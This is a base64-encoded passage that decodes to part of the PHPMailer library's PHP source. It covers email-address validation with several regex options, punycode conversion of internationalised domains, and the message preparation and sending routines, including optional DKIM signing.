ZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+Z